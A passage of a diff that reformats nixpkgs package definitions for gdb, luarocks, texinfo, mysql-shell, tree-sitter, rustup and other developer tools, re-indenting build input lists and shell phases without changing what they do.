+  ++ (with perlPackages; [
+    perl
+    ExporterLite
+    FileWhich
+    GetoptTabular
+    RegexpCommon
+    TermReadKey
+  ]);
 
   postInstall = ''
     wrapProgram $out/bin/creduce --prefix PERL5LIB : "$PERL5LIB"
diff --git a/pkgs/development/tools/misc/gdb/default.nix b/pkgs/development/tools/misc/gdb/default.nix
index 1b0c6ca36506..d11cfd77386a 100644
--- a/pkgs/development/tools/misc/gdb/default.nix
+++ b/pkgs/development/tools/misc/gdb/default.nix
@@ -72,13 +72,12 @@ stdenv.mkDerivation rec {
       substituteInPlace sim/ppc/emul_unix.c --replace sys/termios.h termios.h
     '';
 
-  patches =
-    [
-      ./debug-info-from-env.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      ./darwin-target-match.patch
-    ];
+  patches = [
+    ./debug-info-from-env.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    ./darwin-target-match.patch
+  ];
 
   nativeBuildInputs = [
     pkg-config
@@ -87,24 +86,23 @@ stdenv.mkDerivation rec {
     setupDebugInfoDirs
   ];
 
-  buildInputs =
-    [
-      ncurses
-      readline
-      gmp
-      mpfr
-      expat
-      libipt
-      zlib
-      zstd
-      xz
-      guile
-      sourceHighlight
-    ]
-    ++ lib.optional pythonSupport python3
-    ++ lib.optional doCheck dejagnu
-    ++ lib.optional enableDebuginfod (elfutils.override { enableDebuginfod = true; })
-    ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
+  buildInputs = [
+    ncurses
+    readline
+    gmp
+    mpfr
+    expat
+    libipt
+    zlib
+    zstd
+    xz
+    guile
+    sourceHighlight
+  ]
+  ++ lib.optional pythonSupport python3
+  ++ lib.optional doCheck dejagnu
+  ++ lib.optional enableDebuginfod (elfutils.override { enableDebuginfod = true; })
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
 
   propagatedNativeBuildInputs = [ setupDebugInfoDirs ];
 
@@ -140,44 +138,43 @@ stdenv.mkDerivation rec {
   '';
   configureScript = "../configure";
 
-  configureFlags =
-    [
-      # Set the program prefix to the current targetPrefix.
-      # This ensures that the prefix always conforms to
-      # nixpkgs' expectations instead of relying on the build
-      # system which only receives `config` which is merely a
-      # subset of the platform description.
-      "--program-prefix=${targetPrefix}"
+  configureFlags = [
+    # Set the program prefix to the current targetPrefix.
+    # This ensures that the prefix always conforms to
+    # nixpkgs' expectations instead of relying on the build
+    # system which only receives `config` which is merely a
+    # subset of the platform description.
+    "--program-prefix=${targetPrefix}"
 
-      "--disable-werror"
-    ]
-    ++ lib.optional (!hostCpuOnly) "--enable-targets=all"
-    ++ [
-      "--enable-64-bit-bfd"
-      "--disable-install-libbfd"
-      "--disable-shared"
-      "--enable-static"
-      "--with-system-zlib"
-      "--with-system-readline"
+    "--disable-werror"
+  ]
+  ++ lib.optional (!hostCpuOnly) "--enable-targets=all"
+  ++ [
+    "--enable-64-bit-bfd"
+    "--disable-install-libbfd"
+    "--disable-shared"
+    "--enable-static"
+    "--with-system-zlib"
+    "--with-system-readline"
 
-      "--with-system-gdbinit=/etc/gdb/gdbinit"
-      "--with-system-gdbinit-dir=/etc/gdb/gdbinit.d"
+    "--with-system-gdbinit=/etc/gdb/gdbinit"
+    "--with-system-gdbinit-dir=/etc/gdb/gdbinit.d"
 
-      "--with-gmp=${gmp.dev}"
-      "--with-mpfr=${mpfr.dev}"
-      "--with-expat"
-      "--with-libexpat-prefix=${expat.dev}"
-      "--with-auto-load-safe-path=${builtins.concatStringsSep ":" safePaths}"
-    ]
-    ++ lib.optional (!pythonSupport) "--without-python"
-    ++ lib.optional stdenv.hostPlatform.isMusl "--disable-nls"
-    ++ lib.optional stdenv.hostPlatform.isStatic "--disable-inprocess-agent"
-    ++ lib.optional enableDebuginfod "--with-debuginfod=yes"
-    ++ lib.optional (!enableSim) "--disable-sim"
-    # Workaround for Apple Silicon, "--target" must be "faked", see eg: https://github.com/Homebrew/homebrew-core/pull/209753
-    ++ lib.optional (
-      stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64
-    ) "--target=x86_64-apple-darwin";
+    "--with-gmp=${gmp.dev}"
+    "--with-mpfr=${mpfr.dev}"
+    "--with-expat"
+    "--with-libexpat-prefix=${expat.dev}"
+    "--with-auto-load-safe-path=${builtins.concatStringsSep ":" safePaths}"
+  ]
+  ++ lib.optional (!pythonSupport) "--without-python"
+  ++ lib.optional stdenv.hostPlatform.isMusl "--disable-nls"
+  ++ lib.optional stdenv.hostPlatform.isStatic "--disable-inprocess-agent"
+  ++ lib.optional enableDebuginfod "--with-debuginfod=yes"
+  ++ lib.optional (!enableSim) "--disable-sim"
+  # Workaround for Apple Silicon, "--target" must be "faked", see eg: https://github.com/Homebrew/homebrew-core/pull/209753
+  ++ lib.optional (
+    stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64
+  ) "--target=x86_64-apple-darwin";
 
   postInstall = ''
     # Remove Info files already provided by Binutils and other packages.
diff --git a/pkgs/development/tools/misc/luarocks/default.nix b/pkgs/development/tools/misc/luarocks/default.nix
index 9ad44968d38e..5ed1d78ba2af 100644
--- a/pkgs/development/tools/misc/luarocks/default.nix
+++ b/pkgs/development/tools/misc/luarocks/default.nix
@@ -71,35 +71,34 @@ stdenv.mkDerivation (finalAttrs: {
     which
   ];
 
-  postInstall =
-    ''
-      sed -e "1s@.*@#! ${lua}/bin/lua$LUA_SUFFIX@" -i "$out"/bin/*
-      substituteInPlace $out/etc/luarocks/* \
-       --replace-quiet '${lua.luaOnBuild}' '${lua}'
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd luarocks \
-        --bash <($out/bin/luarocks completion bash) \
-        --fish <($out/bin/luarocks completion fish) \
-        --zsh <($out/bin/luarocks completion zsh)
+  postInstall = ''
+    sed -e "1s@.*@#! ${lua}/bin/lua$LUA_SUFFIX@" -i "$out"/bin/*
+    substituteInPlace $out/etc/luarocks/* \
+     --replace-quiet '${lua.luaOnBuild}' '${lua}'
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd luarocks \
+      --bash <($out/bin/luarocks completion bash) \
+      --fish <($out/bin/luarocks completion fish) \
+      --zsh <($out/bin/luarocks completion zsh)
 
-      installShellCompletion --cmd luarocks-admin \
-        --bash <($out/bin/luarocks-admin completion bash) \
-        --fish <($out/bin/luarocks-admin completion fish) \
-        --zsh <($out/bin/luarocks-admin completion zsh)
-    ''
-    + ''
-      for i in "$out"/bin/*; do
-          test -L "$i" || {
-              wrapProgram "$i" \
-                --suffix LUA_PATH ";" "$(echo "$out"/share/lua/*/)?.lua" \
-                --suffix LUA_PATH ";" "$(echo "$out"/share/lua/*/)?/init.lua" \
-                --suffix LUA_CPATH ";" "$(echo "$out"/lib/lua/*/)?.so" \
-                --suffix LUA_CPATH ";" "$(echo "$out"/share/lua/*/)?/init.lua" \
-                --suffix PATH : ${lib.makeBinPath finalAttrs.propagatedNativeBuildInputs}
-          }
-      done
-    '';
+    installShellCompletion --cmd luarocks-admin \
+      --bash <($out/bin/luarocks-admin completion bash) \
+      --fish <($out/bin/luarocks-admin completion fish) \
+      --zsh <($out/bin/luarocks-admin completion zsh)
+  ''
+  + ''
+    for i in "$out"/bin/*; do
+        test -L "$i" || {
+            wrapProgram "$i" \
+              --suffix LUA_PATH ";" "$(echo "$out"/share/lua/*/)?.lua" \
+              --suffix LUA_PATH ";" "$(echo "$out"/share/lua/*/)?/init.lua" \
+              --suffix LUA_CPATH ";" "$(echo "$out"/lib/lua/*/)?.so" \
+              --suffix LUA_CPATH ";" "$(echo "$out"/share/lua/*/)?/init.lua" \
+              --suffix PATH : ${lib.makeBinPath finalAttrs.propagatedNativeBuildInputs}
+        }
+    done
+  '';
 
   propagatedNativeBuildInputs = [
     zip
diff --git a/pkgs/development/tools/misc/premake/5.nix b/pkgs/development/tools/misc/premake/5.nix
index 8a60b708fc78..e5f12a79fa25 100644
--- a/pkgs/development/tools/misc/premake/5.nix
+++ b/pkgs/development/tools/misc/premake/5.nix
@@ -22,31 +22,29 @@ stdenv.mkDerivation (finalAttrs: {
     sha256 = "sha256-sNLCyIHWDW/8jIrMFCZAqtWsh4SRugqtPR4HaoW/Vzk=";
   };
 
-  buildInputs =
-    [
-      libuuid
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      readline
-    ];
+  buildInputs = [
+    libuuid
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    readline
+  ];
 
   patches = [ ./no-curl-ca.patch ];
-  postPatch =
-    ''
-      substituteInPlace contrib/curl/premake5.lua \
-        --replace-fail "ca = nil" "ca = '${cacert}/etc/ssl/certs/ca-bundle.crt'"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace premake5.lua \
-        --replace-fail '"-arch arm64"' '""' \
-        --replace-fail '"-arch x86_64"' '""'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isStatic ''
-      substituteInPlace \
-        binmodules/example/premake5.lua \
-        binmodules/luasocket/premake5.lua \
-        --replace-fail SharedLib StaticLib
-    '';
+  postPatch = ''
+    substituteInPlace contrib/curl/premake5.lua \
+      --replace-fail "ca = nil" "ca = '${cacert}/etc/ssl/certs/ca-bundle.crt'"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace premake5.lua \
+      --replace-fail '"-arch arm64"' '""' \
+      --replace-fail '"-arch x86_64"' '""'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isStatic ''
+    substituteInPlace \
+      binmodules/example/premake5.lua \
+      binmodules/luasocket/premake5.lua \
+      --replace-fail SharedLib StaticLib
+  '';
 
   buildPhase =
     if stdenv.hostPlatform.isDarwin then
diff --git a/pkgs/development/tools/misc/sqitch/default.nix b/pkgs/development/tools/misc/sqitch/default.nix
index 7e23adee7bfd..bbd7bef633ef 100644
--- a/pkgs/development/tools/misc/sqitch/default.nix
+++ b/pkgs/development/tools/misc/sqitch/default.nix
@@ -30,20 +30,19 @@ stdenv.mkDerivation {
   src = sqitch;
   dontBuild = true;
 
-  installPhase =
-    ''
-      mkdir -p $out/bin
-      for d in bin/sqitch etc lib share ; do
-        # make sure dest alreay exists before symlink
-        # this prevents installing a broken link into the path
-        if [ -e ${sqitch}/$d ]; then
-          ln -s ${sqitch}/$d $out/$d
-        fi
-      done
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      shortenPerlShebang $out/bin/sqitch
-    '';
+  installPhase = ''
+    mkdir -p $out/bin
+    for d in bin/sqitch etc lib share ; do
+      # make sure dest alreay exists before symlink
+      # this prevents installing a broken link into the path
+      if [ -e ${sqitch}/$d ]; then
+        ln -s ${sqitch}/$d $out/$d
+      fi
+    done
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    shortenPerlShebang $out/bin/sqitch
+  '';
   dontStrip = true;
   postFixup = ''
     wrapProgram $out/bin/sqitch --prefix PERL5LIB : ${lib.escapeShellArg (perlPackages.makeFullPerlPath modules)}
diff --git a/pkgs/development/tools/misc/texinfo/common.nix b/pkgs/development/tools/misc/texinfo/common.nix
index b9f89f446094..2a23b4848c85 100644
--- a/pkgs/development/tools/misc/texinfo/common.nix
+++ b/pkgs/development/tools/misc/texinfo/common.nix
@@ -56,41 +56,39 @@ stdenv.mkDerivation {
 
   patches = patches ++ optional crossBuildTools ./cross-tools-flags.patch;
 
-  postPatch =
-    ''
-      patchShebangs tp/maintain/regenerate_commands_perl_info.pl
-    ''
-    # This patch is needed for IEEE-standard long doubles on
-    # powerpc64; it does not apply cleanly to texinfo 5.x or
-    # earlier.  It is merged upstream in texinfo 6.8.
-    + optionalString (version == "6.7") ''
-      patch -p1 -d gnulib < ${gnulib.passthru.longdouble-redirect-patch}
-    '';
+  postPatch = ''
+    patchShebangs tp/maintain/regenerate_commands_perl_info.pl
+  ''
+  # This patch is needed for IEEE-standard long doubles on
+  # powerpc64; it does not apply cleanly to texinfo 5.x or
+  # earlier.  It is merged upstream in texinfo 6.8.
+  + optionalString (version == "6.7") ''
+    patch -p1 -d gnulib < ${gnulib.passthru.longdouble-redirect-patch}
+  '';
 
-  env =
-    {
-      XFAIL_TESTS = toString (
-        optionals stdenv.hostPlatform.isMusl [
-          # musl does not support locales.
-          "different_languages_gen_master_menu.sh"
-          "test_scripts/formatting_documentlanguage_cmdline.sh"
-          "test_scripts/layout_formatting_fr_info.sh"
-          "test_scripts/layout_formatting_fr.sh"
-          "test_scripts/layout_formatting_fr_icons.sh"
-        ]
-        ++ optionals (!stdenv.hostPlatform.isMusl && versionOlder version "7") [
-          # Test is known to fail on various locales on texinfo-6.8:
-          #   https://lists.gnu.org/r/bug-texinfo/2021-07/msg00012.html
-          "test_scripts/layout_formatting_fr_icons.sh"
-        ]
-      );
-    }
-    // lib.optionalAttrs crossBuildTools {
-      # ncurses is required to build `makedoc'
-      # this feature is introduced by the ./cross-tools-flags.patch
-      NATIVE_TOOLS_CFLAGS = "-I${getDev buildPackages.ncurses}/include";
-      NATIVE_TOOLS_LDFLAGS = "-L${getLib buildPackages.ncurses}/lib";
-    };
+  env = {
+    XFAIL_TESTS = toString (
+      optionals stdenv.hostPlatform.isMusl [
+        # musl does not support locales.
+        "different_languages_gen_master_menu.sh"
+        "test_scripts/formatting_documentlanguage_cmdline.sh"
+        "test_scripts/layout_formatting_fr_info.sh"
+        "test_scripts/layout_formatting_fr.sh"
+        "test_scripts/layout_formatting_fr_icons.sh"
+      ]
+      ++ optionals (!stdenv.hostPlatform.isMusl && versionOlder version "7") [
+        # Test is known to fail on various locales on texinfo-6.8:
+        #   https://lists.gnu.org/r/bug-texinfo/2021-07/msg00012.html
+        "test_scripts/layout_formatting_fr_icons.sh"
+      ]
+    );
+  }
+  // lib.optionalAttrs crossBuildTools {
+    # ncurses is required to build `makedoc'
+    # this feature is introduced by the ./cross-tools-flags.patch
+    NATIVE_TOOLS_CFLAGS = "-I${getDev buildPackages.ncurses}/include";
+    NATIVE_TOOLS_LDFLAGS = "-L${getLib buildPackages.ncurses}/lib";
+  };
 
   strictDeps = true;
   enableParallelBuilding = true;
@@ -102,30 +100,30 @@ stdenv.mkDerivation {
   ];
 
   nativeBuildInputs = [ updateAutotoolsGnuConfigScriptsHook ];
-  buildInputs =
-    [
-      bashNonInteractive
-      libintl
-    ]
-    ++ optionals stdenv.hostPlatform.isSunOS [
-      libiconv
-      gawk
-    ]
-    ++ optional interactive ncurses;
+  buildInputs = [
+    bashNonInteractive
+    libintl
+  ]
+  ++ optionals stdenv.hostPlatform.isSunOS [
+    libiconv
+    gawk
+  ]
+  ++ optional interactive ncurses;
 
-  configureFlags =
-    [ "PERL=${buildPackages.perl}/bin/perl" ]
-    # Perl XS modules are difficult to cross-compile and texinfo has pure Perl
-    # fallbacks.
-    # Also prevent the buildPlatform's awk being used in the texindex script
-    ++ optionals crossBuildTools [
-      "--enable-perl-xs=no"
-      "TI_AWK=${getBin gawk}/bin/awk"
-    ]
-    ++ optionals (crossBuildTools && lib.versionAtLeast version "7.1") [
-      "texinfo_cv_sys_iconv_converts_euc_cn=yes"
-    ]
-    ++ optional stdenv.hostPlatform.isSunOS "AWK=${gawk}/bin/awk";
+  configureFlags = [
+    "PERL=${buildPackages.perl}/bin/perl"
+  ]
+  # Perl XS modules are difficult to cross-compile and texinfo has pure Perl
+  # fallbacks.
+  # Also prevent the buildPlatform's awk being used in the texindex script
+  ++ optionals crossBuildTools [
+    "--enable-perl-xs=no"
+    "TI_AWK=${getBin gawk}/bin/awk"
+  ]
+  ++ optionals (crossBuildTools && lib.versionAtLeast version "7.1") [
+    "texinfo_cv_sys_iconv_converts_euc_cn=yes"
+  ]
+  ++ optional stdenv.hostPlatform.isSunOS "AWK=${gawk}/bin/awk";
 
   installFlags = [ "TEXMF=$(out)/texmf-dist" ];
   installTargets = [
diff --git a/pkgs/development/tools/mysql-shell/8.nix b/pkgs/development/tools/mysql-shell/8.nix
index 876b56f8a905..59b620169e30 100644
--- a/pkgs/development/tools/mysql-shell/8.nix
+++ b/pkgs/development/tools/mysql-shell/8.nix
@@ -75,44 +75,42 @@ stdenv.mkDerivation (finalAttrs: {
     substituteInPlace cmake/libutils.cmake --replace-fail /usr/bin/libtool libtool
   '';
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-      git
-      bison
-      makeWrapper
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-      darwin.DarwinTools
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+    git
+    bison
+    makeWrapper
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+    darwin.DarwinTools
+  ];
 
-  buildInputs =
-    [
-      curl
-      libedit
-      libssh
-      lz4
-      openssl
-      protobuf
-      readline
-      zlib
-      zstd
-      libevent
-      icu
-      re2
-      ncurses
-      libfido2
-      cyrus_sasl
-      openldap
-      python3
-      antlr.runtime.cpp
-    ]
-    ++ pythonDeps
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ libtirpc ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.libutil ];
+  buildInputs = [
+    curl
+    libedit
+    libssh
+    lz4
+    openssl
+    protobuf
+    readline
+    zlib
+    zstd
+    libevent
+    icu
+    re2
+    ncurses
+    libfido2
+    cyrus_sasl
+    openldap
+    python3
+    antlr.runtime.cpp
+  ]
+  ++ pythonDeps
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ libtirpc ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.libutil ];
 
   preConfigure = ''
     # Build MySQL
diff --git a/pkgs/development/tools/mysql-shell/innovation.nix b/pkgs/development/tools/mysql-shell/innovation.nix
index dcd4b9fc764d..ae82b2b2ffc4 100644
--- a/pkgs/development/tools/mysql-shell/innovation.nix
+++ b/pkgs/development/tools/mysql-shell/innovation.nix
@@ -75,44 +75,42 @@ stdenv.mkDerivation (finalAttrs: {
     substituteInPlace cmake/libutils.cmake --replace-fail /usr/bin/libtool libtool
   '';
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-      git
-      bison
-      makeWrapper
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-      darwin.DarwinTools
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+    git
+    bison
+    makeWrapper
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+    darwin.DarwinTools
+  ];
 
-  buildInputs =
-    [
-      curl
-      libedit
-      libssh
-      lz4
-      openssl
-      protobuf
-      readline
-      zlib
-      zstd
-      libevent
-      icu
-      re2
-      ncurses
-      libfido2
-      cyrus_sasl
-      openldap
-      python3
-      antlr.runtime.cpp
-    ]
-    ++ pythonDeps
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ libtirpc ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.libutil ];
+  buildInputs = [
+    curl
+    libedit
+    libssh
+    lz4
+    openssl
+    protobuf
+    readline
+    zlib
+    zstd
+    libevent
+    icu
+    re2
+    ncurses
+    libfido2
+    cyrus_sasl
+    openldap
+    python3
+    antlr.runtime.cpp
+  ]
+  ++ pythonDeps
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ libtirpc ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.libutil ];
 
   env = {
     ${if stdenv.cc.isGNU then "NIX_CFLAGS_COMPILE" else null} = "-Wno-error=maybe-uninitialized";
diff --git a/pkgs/development/tools/ocaml/camlp4/default.nix b/pkgs/development/tools/ocaml/camlp4/default.nix
index 89cdc1eb6ec3..d6b5ee620eb7 100644
--- a/pkgs/development/tools/ocaml/camlp4/default.nix
+++ b/pkgs/development/tools/ocaml/camlp4/default.nix
@@ -99,15 +99,14 @@ else
 
     strictDeps = true;
 
-    nativeBuildInputs =
-      [
-        which
-        ocaml
-        ocamlbuild
-      ]
-      ++ lib.optionals (lib.versionAtLeast ocaml.version "5.0") [
-        findlib
-      ];
+    nativeBuildInputs = [
+      which
+      ocaml
+      ocamlbuild
+    ]
+    ++ lib.optionals (lib.versionAtLeast ocaml.version "5.0") [
+      findlib
+    ];
 
     buildInputs = lib.optionals (lib.versionAtLeast ocaml.version "5.0") [
       camlp-streams
diff --git a/pkgs/development/tools/ocaml/findlib/default.nix b/pkgs/development/tools/ocaml/findlib/default.nix
index 4d8f48f6f1c7..4efd7cba37ee 100644
--- a/pkgs/development/tools/ocaml/findlib/default.nix
+++ b/pkgs/development/tools/ocaml/findlib/default.nix
@@ -39,13 +39,12 @@ stdenv.mkDerivation rec {
     "${placeholder "out"}/etc/findlib.conf"
   ];
 
-  buildFlags =
-    [
-      "all"
-    ]
-    ++ lib.optionals ocaml.nativeCompilers [
-      "opt"
-    ];
+  buildFlags = [
+    "all"
+  ]
+  ++ lib.optionals ocaml.nativeCompilers [
+    "opt"
+  ];
 
   setupHook = writeText "setupHook.sh" ''
     addOCamlPath () {
diff --git a/pkgs/development/tools/ocaml/merlin/dot-merlin-reader.nix b/pkgs/development/tools/ocaml/merlin/dot-merlin-reader.nix
index 10420f81acc6..df404d66b16c 100644
--- a/pkgs/development/tools/ocaml/merlin/dot-merlin-reader.nix
+++ b/pkgs/development/tools/ocaml/merlin/dot-merlin-reader.nix
@@ -16,18 +16,19 @@ buildDunePackage rec {
 
   minimalOCamlVersion = "4.06";
 
-  buildInputs =
-    [ findlib ]
-    ++ (
-      if lib.versionAtLeast version "4.7-414" then
-        [ merlin-lib ]
-      else
-        [
-          yojson
-          csexp
-          result
-        ]
-    );
+  buildInputs = [
+    findlib
+  ]
+  ++ (
+    if lib.versionAtLeast version "4.7-414" then
+      [ merlin-lib ]
+    else
+      [
+        yojson
+        csexp
+        result
+      ]
+  );
 
   meta = with lib; {
     description = "Reads config files for merlin";
diff --git a/pkgs/development/tools/ocaml/opam/default.nix b/pkgs/development/tools/ocaml/opam/default.nix
index e6d761e19250..e2e6e99fb8eb 100644
--- a/pkgs/development/tools/ocaml/opam/default.nix
+++ b/pkgs/development/tools/ocaml/opam/default.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     ncurses
     getconf
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ bubblewrap ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ bubblewrap ];
 
   patches = [ ./opam-shebangs.patch ];
 
diff --git a/pkgs/development/tools/parsing/flex/default.nix b/pkgs/development/tools/parsing/flex/default.nix
index c6c62b2cc2dc..15aa95351878 100644
--- a/pkgs/development/tools/parsing/flex/default.nix
+++ b/pkgs/development/tools/parsing/flex/default.nix
@@ -32,15 +32,14 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  postPatch =
-    ''
-      patchShebangs tests
-    ''
-    + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
-      substituteInPlace Makefile.in --replace "tests" " "
+  postPatch = ''
+    patchShebangs tests
+  ''
+  + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
+    substituteInPlace Makefile.in --replace "tests" " "
 
-      substituteInPlace doc/Makefile.am --replace 'flex.1: $(top_srcdir)/configure.ac' 'flex.1: '
-    '';
+    substituteInPlace doc/Makefile.am --replace 'flex.1: $(top_srcdir)/configure.ac' 'flex.1: '
+  '';
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
   nativeBuildInputs = [
diff --git a/pkgs/development/tools/parsing/tree-sitter/default.nix b/pkgs/development/tools/parsing/tree-sitter/default.nix
index 956fb65880f2..d04d75dc90ae 100644
--- a/pkgs/development/tools/parsing/tree-sitter/default.nix
+++ b/pkgs/development/tools/parsing/tree-sitter/default.nix
@@ -175,17 +175,19 @@ rustPlatform.buildRustPackage {
   useFetchCargoVendor = true;
   cargoHash = "sha256-rjUn8F6WSxLQGrFzK23q4ClLePSpcMN2+i7rC02Fisk=";
 
-  buildInputs =
-    [ installShellFiles ]
-    ++ lib.optionals webUISupport [
-      openssl
-    ];
-  nativeBuildInputs =
-    [ which ]
-    ++ lib.optionals webUISupport [
-      emscripten
-      pkg-config
-    ];
+  buildInputs = [
+    installShellFiles
+  ]
+  ++ lib.optionals webUISupport [
+    openssl
+  ];
+  nativeBuildInputs = [
+    which
+  ]
+  ++ lib.optionals webUISupport [
+    emscripten
+    pkg-config
+  ];
 
   patches = lib.optionals (!webUISupport) [
     (substitute {
@@ -207,24 +209,23 @@ rustPlatform.buildRustPackage {
     cargo run --package xtask -- build-wasm --debug
   '';
 
-  postInstall =
-    ''
-      PREFIX=$out make install
-      ${lib.optionalString (!enableShared) "rm $out/lib/*.so{,.*}"}
-      ${lib.optionalString (!enableStatic) "rm $out/lib/*.a"}
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd tree-sitter \
-        --bash <("$out/bin/tree-sitter" complete --shell bash) \
-        --zsh <("$out/bin/tree-sitter" complete --shell zsh) \
-        --fish <("$out/bin/tree-sitter" complete --shell fish)
-    ''
-    + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd tree-sitter \
-        --bash "${buildPackages.tree-sitter}"/share/bash-completion/completions/*.bash \
-        --zsh "${buildPackages.tree-sitter}"/share/zsh/site-functions/* \
-        --fish "${buildPackages.tree-sitter}"/share/fish/*/*
-    '';
+  postInstall = ''
+    PREFIX=$out make install
+    ${lib.optionalString (!enableShared) "rm $out/lib/*.so{,.*}"}
+    ${lib.optionalString (!enableStatic) "rm $out/lib/*.a"}
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd tree-sitter \
+      --bash <("$out/bin/tree-sitter" complete --shell bash) \
+      --zsh <("$out/bin/tree-sitter" complete --shell zsh) \
+      --fish <("$out/bin/tree-sitter" complete --shell fish)
+  ''
+  + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd tree-sitter \
+      --bash "${buildPackages.tree-sitter}"/share/bash-completion/completions/*.bash \
+      --zsh "${buildPackages.tree-sitter}"/share/zsh/site-functions/* \
+      --fish "${buildPackages.tree-sitter}"/share/fish/*/*
+  '';
 
   # test result: FAILED. 120 passed; 13 failed; 0 ignored; 0 measured; 0 filtered out
   doCheck = false;
diff --git a/pkgs/development/tools/profiling/heaptrack/default.nix b/pkgs/development/tools/profiling/heaptrack/default.nix
index 492864c6d9ae..f0920e8b850f 100644
--- a/pkgs/development/tools/profiling/heaptrack/default.nix
+++ b/pkgs/development/tools/profiling/heaptrack/default.nix
@@ -46,24 +46,23 @@ mkDerivation rec {
     extra-cmake-modules
     makeBinaryWrapper
   ];
-  buildInputs =
-    [
-      zlib
-      boost
-      libunwind
-      sparsehash
-      zstd
-      qtbase
-      kio
-      kitemmodels
-      threadweaver
-      kconfigwidgets
-      kcoreaddons
-      kdiagram
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      elfutils
-    ];
+  buildInputs = [
+    zlib
+    boost
+    libunwind
+    sparsehash
+    zstd
+    qtbase
+    kio
+    kitemmodels
+    threadweaver
+    kconfigwidgets
+    kcoreaddons
+    kdiagram
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    elfutils
+  ];
 
   postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
     makeWrapper \
diff --git a/pkgs/development/tools/rust/bindgen/default.nix b/pkgs/development/tools/rust/bindgen/default.nix
index c6e6ec12f9d0..b574eb546421 100644
--- a/pkgs/development/tools/rust/bindgen/default.nix
+++ b/pkgs/development/tools/rust/bindgen/default.nix
@@ -16,13 +16,11 @@ let
         unwrapped = rust-bindgen-unwrapped;
         libclang = (lib.getLib clang.cc);
         meta = rust-bindgen-unwrapped.meta // {
-          longDescription =
-            rust-bindgen-unwrapped.meta.longDescription
-            + ''
-              This version of bindgen is wrapped with the required compiler flags
-              required to find the c and c++ standard library, as well as the libraries
-              specified in the buildInputs of your derivation.
-            '';
+          longDescription = rust-bindgen-unwrapped.meta.longDescription + ''
+            This version of bindgen is wrapped with the required compiler flags
+            required to find the c and c++ standard library, as well as the libraries
+            specified in the buildInputs of your derivation.
+          '';
         };
         passthru.tests = {
           simple-c = runCommandCC "simple-c-bindgen-tests" { } ''
diff --git a/pkgs/development/tools/rust/rustup/default.nix b/pkgs/development/tools/rust/rustup/default.nix
index 54f5002167bf..2dea909d4f86 100644
--- a/pkgs/development/tools/rust/rustup/default.nix
+++ b/pkgs/development/tools/rust/rustup/default.nix
@@ -44,16 +44,15 @@ rustPlatform.buildRustPackage (finalAttrs: {
     installShellFiles
   ];
 
-  buildInputs =
-    [
-      openssl
-      curl
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-      xz
-    ];
+  buildInputs = [
+    openssl
+    curl
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+    xz
+  ];
 
   buildFeatures = [ "no-self-update" ];
 
diff --git a/pkgs/development/tools/simavr/default.nix b/pkgs/development/tools/simavr/default.nix
index f655d995f2cc..19a993f07896 100644
